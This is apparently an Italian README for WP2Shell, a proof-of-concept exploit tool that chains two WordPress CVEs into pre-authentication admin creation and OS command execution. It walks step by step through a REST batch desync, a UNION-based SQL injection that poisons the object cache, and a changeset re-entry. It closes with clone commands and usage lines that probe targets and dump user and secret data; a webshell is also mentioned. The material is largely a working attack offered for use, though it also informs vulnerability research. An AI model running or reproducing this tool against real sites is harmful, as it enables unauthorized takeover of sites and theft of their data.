
PoC per CVE-2026-63030 + CVE-2026-60137, noto anche come WP2Shell
Esecuzione remota di codice pre-autenticazione per WordPress 6.9.0–6.9.4 e 7.0.0–7.0.1.
Combina CVE-2026-63030 (SQLi da confusione delle route del batch) con CVE-2026-60137 (rientro del changeset del customizer) per ottenere la creazione di un amministratore senza autenticazione e l'esecuzione di comandi del sistema operativo. Nessun cracking delle password richiesto.

Un ringraziamento a hashkitten per la scoperta; leggi l'analisi tecnica completa di SLCyber qui.
Il processore batch dell'API REST di WordPress (serve_batch_request_v1) ha un bug di indicizzazione off-by-one: quando wp_parse_url() fallisce su un percorso di sotto-richiesta, il WP_Error risultante viene aggiunto a $validation[] ma non a $matches[]. Questo desincronizza i due array — ogni richiesta successiva viene instradata tramite l'handler sbagliato.
Annidando un batch strutturato con cura all'interno di un altro batch, un attaccante può:
author__not_in (il cast stringa→array salta absint())UNION SELECT per avvelenare la cache degli oggetti di WordPress con falsi oggetti postUna volta completata la configurazione (scoperta del prefisso delle tabelle e dell'ID admin), il payload di escalation si attiva in una singola richiesta HTTP — avvelenamento della cache, escalation dei privilegi e creazione dell'utente avvengono tutti lato server in un unico round-trip.
HTTP POST /batch/v1
│
▼
┌─ Outer Batch ───────────────────────────────────────────────────────┐
│ │
│ [0] /// → parse error, not added to $matches │
│ [1] POST /wp/v2/posts → $matches[0] (posts handler) │
│ [2] POST /batch/v1 → $matches[1] (batch handler) │
│ │
│ Desync: request[1] dispatched via $matches[1] │
│ POST /wp/v2/posts body interpreted as batch → inner fires │
│ │
└──────────────────────────────────────┬──────────────────────────────┘
│
┌──────────────────────────────────┘
▼
┌─ Inner Batch ───────────────────────────────────────────────────────┐
│ │
│ [0] /// → parse error (desync) │
│ [1] GET /wp/v2/widgets?UNION... → dispatched by posts handler │
│ ▲ WP_Query fires UNION, poisons object cache │
│ ▲ the_content renders [embed] → oEmbed → hierarchy Loop 1 │
│ → changeset published → admin context set │
│ → nav_menu_item UPDATE → hierarchy Loop 2 │
│ → parse_request → REST re-entry ─────────────┐ │
│ │ │
│ [2] GET /wp/v2/posts (categories handler) │ │
│ [3] GET /wp/v2/categories (users handler) │ │
│ [4] POST /wp/v2/users {body} ◄── re-entry with admin ──────┘ │
│ ▲ desync aligns this with users handler │
│ ▲ admin context → user created → die() │
│ [5] POST /wp/v2/users {} (desync spacer) │
│ │
└─────────────────────────────────────────────────────────────────────┘
Avvelenamento della cache (7 post falsi tramite UNION):
[embed] nel suo contenutocustomize_changeset, stato future, data nel passato)post_type=nav_menu_item per il controllo is_nav_menu_item)post_type=request, post_status=parse, parent=inner)Flusso di esecuzione:
[embed] si attivawp_update_postwp_update_post legge il changeset in cache (parent=outer) → il controllo di gerarchia rileva Loop 1future → conversione automatica in publish_wp_customize_publish_changeset si attiva → wp_set_current_user(admin_id) → contesto admin attivonav_menu_item[real_id] — la cache dice type=nav_menu_item → percorso UPDATEobject_id risolve un post in cache con post_parent=re-entry → wp_update_post sul post reale$post_id non zero) rileva Loop 2 (re-entry ↔ inner)wp_update_post(re-entry) → scrive type=request, status=parse nel DBwp_transition_post_status attiva do_action("parse_request") → rest_api_loaded() → serve_request()POST /wp/v2/users in coda riesce → amministratore creato → die()Una variabile di sessione MySQL anti-ricorsione (@_wp2s) garantisce che la catena si attivi esattamente una volta e non vada in loop.
--cleanup elimina l'utente creato e rimuove la webshell all'uscitagit clone https://github.com/Crypto-Cat/wp2shell.git
cd wp2shell
chmod +x wp2shell.py
Niente pip install, niente virtualenv. È un singolo file.
# Passive boolean oracle test
python3 wp2shell.py check http://target.com
# Also confirm with timing and UNION
python3 wp2shell.py check http://target.com --confirm-timing --confirm-union
# Auto-selects fastest technique (UNION > error > blind)
python3 wp2shell.py read http://target.com --preset users
python3 wp2shell.py read http://target.com --preset secrets
python3 wp2shell.py read http://target.com --query "SELECT @@version"
# Force a specific technique
python3 wp2shell.py read http://target.com --technique blind --preset users
# Auto-discover table prefix
python3 wp2shell.py read http://target.com --auto-prefix --preset users